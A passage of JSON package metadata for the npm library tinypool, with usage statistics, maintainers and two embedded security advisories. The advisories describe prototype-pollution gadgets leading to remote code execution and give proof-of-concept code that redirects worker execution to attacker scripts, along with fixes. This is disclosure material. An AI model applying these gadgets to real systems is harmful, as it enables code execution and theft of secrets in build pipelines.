adbffcdfda18baad6ad694228436f615f1d67b86","kind":"tag","published_at":"2021-12-17T07:15:15.000Z","download_url":"https://codeload.github.com/tinylibs/tinypool/tar.gz/v0.0.1","html_url":"https://github.com/tinylibs/tinypool/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tinylibs/tinypool@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-10-05T16:41:36.824Z","dependent_packages_count":48,"downloads":198948449,"downloads_period":"last-month","dependent_repos_count":20384,"rankings":{"downloads":0.09820062306800478,"dependent_repos_count":0.2030905863906604,"dependent_packages_count":0.947869886686163,"stargazers_count":2.575912726453155,"forks_count":4.954800889381457,"docker_downloads_count":0.16719403505957725,"average":1.4911781245065028},"purl":"pkg:npm/tinypool","advisories":[{"uuid":"GSA_kwCzR0hTQS01Z213LXhocnYtYzl2M84AB7qJ","url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","title":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","description":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r =\u003e {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:50:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","https://nvd.nist.gov/vuln/detail/CVE-2026-104848","https://github.com/tinylibs/tinypool/pull/134","https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","https://github.com/tinylibs/tinypool/releases/tag/v2.1.1","https://github.com/advisories/GHSA-5gmw-xhrv-c9v3"],"source_kind":"github","identifiers":["GHSA-5gmw-xhrv-c9v3","CVE-2026-104848"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-07T16:00:15.039Z","epss_percentage":0.00497,"epss_percentile":0.40551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z213LXhocnYtYzl2M84AB7qJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z213LXhocnYtYzl2M84AB7qJ","packages":[{"ecosystem":"npm","package_name":"tinypool","versions":[{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003c= 2.1.0"}],"purl":"pkg:npm/tinypool"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z213LXhocnYtYzl2M84AB7qJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NWM4LXBwZ3ctY2Nwcs4AB7qI","url":"https://github.com/advisories/GHSA-85c8-ppgw-ccpr","title":"Tinypool: Prototype Pollution Gadget to RCE in run() options","description":"`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`.\n\nAn attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.\n\nThis is the tinypool counterpart to the piscina root discovery [GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg).\n\n`pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`.\n\n## Impact\n\nArbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.\n\n## Proof of Concept\n\n```js\n// legitimate-worker.mjs\nexport default async (task) =\u003e ({ by: 'legitimate-worker', processed: task })\n\n// malicious-worker.mjs\nexport default async (task) =\u003e ({ by: 'attacker', stolenRequestBody: task })\n\n// main.js\nimport express from \"express\";\nimport Tinypool from \"tinypool\";\nimport { fileURLToPath } from \"node:url\";\nimport path from \"node:path\";\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\n// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)\nObject.prototype.filename = path.join(__dirname, \"malicious-worker.mjs\");\n\nconst pool = new Tinypool({\n  filename: path.join(__dirname, \"legitimate-worker.mjs\"),\n});\n\nexpress()\n  .use(express.json())\n  .post(\"/\", async (req, res) =\u003e {\n    const ac = new AbortController();\n    const result = await pool.run(req.body, { signal: ac.signal });\n    res.json(result);\n  })\n  .listen(31337);\n```\n\n## Suggested fix\n\nRead all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-05T22:49:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr","https://nvd.nist.gov/vuln/detail/CVE-2026-104849","https://github.com/tinylibs/tinypool/pull/135","https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf","https://github.com/tinylibs/tinypool/releases/tag/v2.1.2","https://github.com/advisories/GHSA-85c8-ppgw-ccpr"],"source_kind":"github","identifiers":["GHSA-85c8-ppgw-ccpr","CVE-2026-104849"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-06T16:00:16.338Z","epss_percentage":0.0039,"epss_percentile":0.30714,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NWM4LXBwZ3ctY2Nwcs4AB7qI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NWM4LXBwZ3ctY2Nwcs4AB7qI","packages":[{"ecosystem":"npm","package_name":"tinypool","versions":[{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003c 2.1.2"}],"purl":"pkg:npm/tinypool"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NWM4LXBwZ3ctY2Nwcs4AB7qI/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/tinypool","docker_dependents_count":378,"docker_downloads_count":1370842657,"usage_url":"https://repos.ecosyste.ms/usage/npm/tinypool","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/tinypool/dependencies","status":null,"funding_links":["https://opencollective.com/aslemammad","https://github.com/sponsors/aslemammad"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-03T13:21:45.020Z","issues_count":42,"pull_requests_count":113,"avg_time_to_close_issue":5200159.45,"avg_time_to_close_pull_request":1048566.7422680412,"issues_closed_count":40,"pull_requests_closed_count":97,"pull_request_authors_count":34,"issue_authors_count":25,"avg_comments_per_issue":2.5952380952380953,"avg_comments_per_pull_request":1.3097345132743363,"merged_pull_requests_count":83,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":3,"past_year_pull_requests_count":12,"past_year_avg_time_to_close_issue":2329838.0,"past_year_avg_time_to_close_pull_request":120147.875,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":8,"past_year_pull_request_authors_count":9,"past_year_issue_authors_count":3,"past_year_avg_comments_per_issue":0.6666666666666666,"past_year_avg_comments_per_pull_request":1.75,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":4,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tinylibs%2Ftinypool/issues","maintainers":[{"login":"AriPerkkio","count":54,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AriPerkkio"},{"login":"Aslemammad","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Aslemammad"},{"login":"Sajad-Sharhani","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Sajad-Sharhani"},{"login":"antfu","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/antfu"},{"login":"sheremet-va","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sheremet-va"},{"login":"sirenkovladd","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sirenkovladd"}],"active_maintainers":[{"login":"AriPerkkio","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/AriPerkkio"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tinypool/codemeta","maintainers":[{"uuid":"antfu","login":"antfu","name":null,"email":"anthonyfu117@hotmail.com","url":null,"packages_count":774,"html_url":"https://www.npmjs.com/~antfu","role":null,"created_at":"2022-11-10T11:53:54.861Z","updated_at":"2022-11-10T11:53:54.861Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/antfu/packages"},{"uuid":"ariperkkio","login":"ariperkkio","name":null,"email":"ari.perkkio@gmail.com","url":null,"packages_count":44,"html_url":"https://www.npmjs.com/~ariperkkio","role":null,"created_at":"2024-01-18T17:39:52.372Z","updated_at":"2024-01-18T17:39:52.372Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ariperkkio/packages"},{"uuid":"aslemammad","login":"aslemammad","name":null,"email":"zorofight94@gmail.com","url":null,"packages_count":53,"html_url":"https://www.npmjs.com/~aslemammad","role":null,"created_at":"2022-11-10T11:53:54.870Z","updated_at":"2022-11-10T11:53:54.870Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/aslemammad/packages"}]}